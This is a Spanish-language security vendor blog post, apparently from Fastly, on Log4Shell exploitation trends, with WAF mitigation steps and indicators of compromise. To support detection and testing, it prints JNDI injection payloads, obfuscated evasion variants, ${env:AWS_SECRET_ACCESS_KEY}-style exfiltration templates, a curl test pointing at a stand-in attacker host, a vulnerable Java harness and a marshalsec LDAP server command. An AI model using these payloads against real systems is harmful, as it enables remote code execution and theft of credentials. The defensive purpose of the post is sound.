Nuevos datos sobre los ataques Log4Shell (CVE-2021-44228 + CVE-2021-45046)
Lo que debes saber
La solución más recomendada frente a esta vulnerabilidad es el uso de parches.
Esta vulnerabilidad se seguirá aprovechando de manera activa.
Nuestros clientes del WAF pueden habilitar reglas para protegerse.
CVE-2021-45046: el parche log4j 2.15 estaba incompleto, por lo que se lanzó el parche 2.16
Resumen
La semana pasada explicamos la reciente vulnerabilidad Log4j, conocida como Log4Shell, y nuestras primeras observaciones de los atacantes que se aprovechaban de ella (o lo intentaban). Un atacante puede enviar texto a una canalización de inicio de sesión vulnerable para ejecutar código arbitrario en el host vulnerable. La vulnerabilidad Log4j es muy simple y su presencia es amplia, ya que muchas aplicaciones de empresas basadas en Java la utilizan como biblioteca preferente para los inicios de sesión; debido a esto, los atacantes descubrieron una interesante oportunidad de mercado que aprovecharon enseguida para campañas de criptominería y botnet.
Los atacantes siguen aprovechando esta vulnerabilidad a gran escala; por ello, en esta publicación comunicamos nuevos datos y descubrimientos para que la comunidad de ingenieros de software y responsables de seguridad pueda hacer frente a la situación. También compartiremos nuestras recomendaciones para probar tu entorno frente a los nuevos métodos de ofuscación detectados.
Detalles
La línea de tendencia que compartimos con anterioridad muestra un claro crecimiento de los ataques en las primeras 24 horas (desde las 15:30 GMT del 9 de diciembre hasta las 15:30 GMT del 10). La tendencia fue en aumento en los cuatro días siguientes (hasta las 15:30 GMT del 14 de diciembre), lo que sugiere que la vulnerabilidad siguió despertando interés. Si bien estos datos combinan actividades de ataque y de defensa, también indican que el problema sigue sin estar controlado y circula libremente por Internet, por lo que todavía se está intentando comprender su impacto y se intenta controlar una situación que evoluciona con rapidez.
Los atacantes (más del 86 %) siguen centrándose en el protocolo LDAP, pero hemos visto que otros atacantes aprovechan todos los protocolos que permite la devolución de llamada JNDI en sus URI:
Formas de elusión
Hay un debate activo en Twitter, foros y grupos de chats de todo el mundo que da a conocer la vulnerabilidad y fomenta la investigación sobre cómo eludir las medidas de mitigación y supervisión al explotar Log4Shell. Por eso, merece la pena explorar estas fuentes de información para mejorar la defensa.
En una publicación anterior, describimos la plantilla de carga útil original ${jndi:ldap://example.com:1234/callback}. Es una cadena fácil de identificar con fines defensivos: ${} empaqueta jndi:ldap://, dos identificadores excelentes para buscar en registros o escribir expresiones regulares para las reglas del WAF. Sin embargo, como sucede con cualquier analizador sintáctico, la evaluación de declaraciones anidadas puede complicar la identificación de texto. El analizador sintáctico usado en la plantilla de Log4j suele ampliar las plantillas anidadas, lo que significa que se pueden evaluar métodos diferentes para la misma cadena. Hemos extraído unos cuantos métodos de nuestros registros y todos ellos producen un idéntico resultado (se muestra más abajo), lo que dificulta la creación de una heurística sencilla para detectar el ataque:
${jn${lower:d}i:l${lower:d}ap://example.${lower:c}om:1234/callback}
${${lower:${lower:jndi}}:${lower:ldap}://example.com:1234/callback}
${${::-j}${::-n}di:${::-l}d${::-a}p://example.com:1234/callback}Fugas de información
Durante los últimos cuatro días, también observamos un volumen considerable de atacantes que intentaban extraer datos de las variables de entorno y las propiedades del sistema Java a través de plantillas. Aquí puedes ver un ejemplo de este método: ${jndi:ldap://example.com:1234/callback/${env:USER}.
Al evaluar esta plantilla, la cadena ${env:USER} se reemplaza con el nombre de usuario que ejecutó la JVM. A través de nuestra telemetría, vimos que el 35 % de todos los URI únicos contienen al menos una plantilla dedicada a la extracción de datos. Las siguientes plantillas son las más populares entre los atacantes:
${env:PATH}${env:AWS_SECRET_ACCESS_KEY}${env:AWS_SESSION_TOKEN}${env:AWS_ACCESS_KEY_ID}${sys:user.name}${sys:java.version}${sys:os.version}${env:USER}${java:os}${date:MM-dd-yyyy}${date:dd:MM:yyyy}Herramientas de ataque a aplicaciones web
Hemos observado que la inyección de la plantilla inicial se realiza casi siempre desde los mismos sitios de prueba, que están asociados en gran medida con herramientas de seguridad conocidas y, a veces, se usan de manera legítima para realizar investigaciones y pruebas autorizadas, pero también pueden ser utilizados por actores maliciosos. Estos cuatro dominios representan el 91 % de todos los URI que hemos observado entre el 9 y el 14 de diciembre:
En cada uno de los casos, el sitio utiliza un subdominio que es un identificador único vinculado al usuario que realiza la prueba (por eso hay esa cantidad de instancias no repetidas). Es importante tener en cuenta que este tipo de sitios web no suele permitir la ejecución de escuchas LDAP activas, con lo que la devolución de llamada no generaría una cadena completa para aprovechar la vulnerabilidad. Aun así, el atacante puede recibir un registro donde se informa de que se ha activado una respuesta y, a continuación, usar otra herramienta u otro sitio web para lanzar el resto de la operación.
Cargas útiles
Las cargas útiles distribuidas el primer día fueron de naturaleza simple y consistieron en una sencilla devolución de llamada informativa o una ejecución de comando básica. Por desgracia, con el paso del tiempo, la carga útil definitiva ha seguido actuando.
Hemos observado que hay comandos en el ámbito de host que siguen haciendo llamadas a Runtime.getRuntime().exec() para que ejecute comandos de Unix como curl y wget, pero también hay evidencias de ejecuciones de PowerShell más recientes. Además, una instancia de wget filtró el archivo /etc/hosts del host, con claras intenciones de conocer a fondo el host al que había atacado. A través de PowerShell, una clase Java descompilada utiliza HttpURLConnection para subir datos en el ámbito de host correspondientes al dominio de Active Directory del que forma parte el host, un indicio de que los atacantes están preparando campañas cada vez de mayor tamaño dirigidas contra empresas.
En otra cadena de aprovechamiento de vulnerabilidades vimos cómo se instalaban herramientas de atacantes para ejecutar en el host el malware de botnet de DDoS conocido como Gafgyt. En la sección de indicadores de riesgo incluida al final del blog se especifican el hash y el nombre de todos los archivos que hemos visto.
¿Cómo debes actuar?
Cómo probar tu muestra de ataque
Es difícil evaluar en todo tu entorno la validez de una muestra de ataque (es decir, determinar si la muestra va a conseguir o no sus objetivos). Por suerte, hay diferentes métodos para probar una muestra de ataque: el más sencillo es usar el siguiente comando curl dirigido a un servicio vulnerable. Pon entre los corchetes tu carga útil y asegúrate de que la parte final represente el servicio que proteges con el WAF (por ejemplo, un sitio que inicia sesión en una de tus aplicaciones Java).
curl -X GET -H 'User-Agent: ${jndi:ldap://attacker.example.com:1389/a}' 'https://wafprotected.example.com'Es importante tener en cuenta que, si vas a hacer esta prueba y eres vulnerable, utilizarás la vulnerabilidad en los sistemas de registros de los usuarios intermedios. Por ello, antes de actuar, coordínate con todas las partes afectadas. Además de usar curl, puedes usar otras herramientas más sofisticadas como Burp Suite (que han creado un escáner para Log4Shell), Postman, o herramientas de pruebas de WAF para enviar estas muestras a otros lugares dentro de la petición, en lugar de utilizar simplemente la cadena user-agent.
Como puedes ver en la captura de pantalla anterior, un WAF detecta y bloquea la carga dañina.
¿Es válida mi carga útil?
Puedes distribuir cargas útiles a la aplicación, pero por sí solo eso no garantiza que la muestra de ataque pueda llegar a aprovechar la vulnerabilidad de la aplicación. El método más sencillo para probar la validez de una muestra de carga útil es crear una aplicación Java básica para la prueba. Aquí tienes un ejemplo de aplicación Java sencilla que puedes utilizar:
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class Log4jTestHarness { private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); String userInput = "${jndi:ldap://127.0.0.1:1389/a}";
logger.error("this is a thing {}", userInput); }}No obstante, hay que actuar con precaución. En primer lugar tienes que configurar la propiedad del sistema com.sun.jndi.ldap.object.trustURLCodebase (como ilustra el ejemplo anterior) conforme a tu entorno. Ten en cuenta que en nuevas versiones de Java esta propiedad arroja un resultado de false por defecto. La variable más importante es el valor de userInput, y ahí es donde hay que insertar la carga útil maliciosa para la prueba de manera que se pase a Log4j para intentar explotar la vulnerabilidad.
Una vez compilada la aplicación y ya lista para su ejecución, el paso siguiente es configurar un servidor LDAP. Recomendamos usar una herramienta como marshalsec para poner en marcha este servicio. Una vez que hayas clonado y compilado marshalsec (sigue las instrucciones del repositorio), podrás ejecutar el comando siguiente para poner en marcha el servidor:
java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8888/#Exploit"Con el servidor LDAP de marshalsec en funcionamiento, ejecuta la aplicación de prueba Log4j que has compilado y confirma que la aplicación llega hasta tu servicio. Si la carga útil de ataque a JNDI ha funcionado, la salida resultante debería parecerse a lo siguiente:
Listening on 0.0.0.0:1389Send LDAP reference result for a redirecting to http://localhost:8888/Exploit.classComo se mencionó en nuestro artículo anterior, aquí se puede encontrar un repositorio de muestra más detallado para que tengas una idea de cómo crear esta aplicación.
Cómo actuar si eres nuestro cliente
¿Cómo puedes asegurarte de que tu WAF te protege frente a ataques de Log4Shell? Antes que nada, tienes que validar que tu entorno tenga habilitada la regla correspondiente.
Los clientes de nuestro WAF de última generación (antes Signal Sciences) deben seguir los consejos del artículo anterior del blog sobre los pasos para hacerlo.
Para desplegar la regla, un cliente de Fastly Web Application Firewall o WAF (2020) puede:
Ir a la página
«Manage Rules»de su WAF.Usar
«Clone»para clonar la versión del WAF activa para crear un borrador.Buscar el número CVE
CVE-2021-44228medianteScope:"Include all".Usar
«Add rule»para añadir la regla en modo de bloqueo o de registro y, a continuación, activarla.
Contra esta amenaza, podemos desplegar soluciones de mitigación basadas en VCL para nuestros clientes con versiones anteriores del WAF. Si necesitas ayuda para aplicar esta configuración, ponte en contacto con CSOC a través del correo securitysupport@fastly.com.
Además, algunos clientes nos han pedido un filtrado más agresivo, por lo que hemos implementado una regla más estricta para detectar y bloquear los métodos que se usan en este ataque. Si te interesa el tema, consulta esta información sobre las opciones de mitigación y sobre su aplicación.
Conclusión
Corregir las vulnerabilidades mediante parches sigue siendo la primera solución recomendada. El 14 de diciembre, Apache lanzó Log4j 2.16.0, que no solo corrige las vulnerabilidades, sino que deshabilita por completo la funcionalidad JNDI por defecto. También resuelve el problema de búsqueda JNDI descrito en CVE-2021-45046.
Dado que esta amenaza continúa evolucionando, seguiremos supervisando la situación y ofreciendo las soluciones oportunas para mitigar los efectos sobre nuestros clientes.
Indicadores de compromiso (IOC)
Java classesbb6967f006c0680874389c54b2322707a41e16e5 exp.class0679b5145c208091f06928bb4601940b0efb86bf exploit.classff30416ab305aada2a0e3fbbd05ca32e82438f1c Log4jRCE.class0679b5145c208091f06928bb4601940b0efb86bf exploit.class5fcff086eafd4bed4e42687427fd00910fe26b1e ExploitD.classbd97f9eba8b7a879d775714ee1a4a815b73fd210 Exploit.classdc7d2d19e3893b810be6a5a280a5eed79342367a Runner.classDc7d2c3b0286b7d36a1382b6b4dca1afeb5448e2 Runner.class4c2ddff1ca4003ca5e3ad897363b55c21041155d ExploitD.classb3651f2e069c9db83f35eda3cc663ecfb8167d99 Exploit.classDDoS malware delivered through Log4Shell Chainb1ea87a2db9756bfe8328ac0dd1204c4501e63f4 pty112dff86ffceaa394adbd9355e3affe7730b34fa5 pty2e3eb1e98ca477918154b9ed7bcc2b7fe757c1020 pty331516a917e8b1fe083de5f64dbcb413681c62ff2 pty44dafb50d1de86068915ed71dcc97f5ccc78f6123 pty5
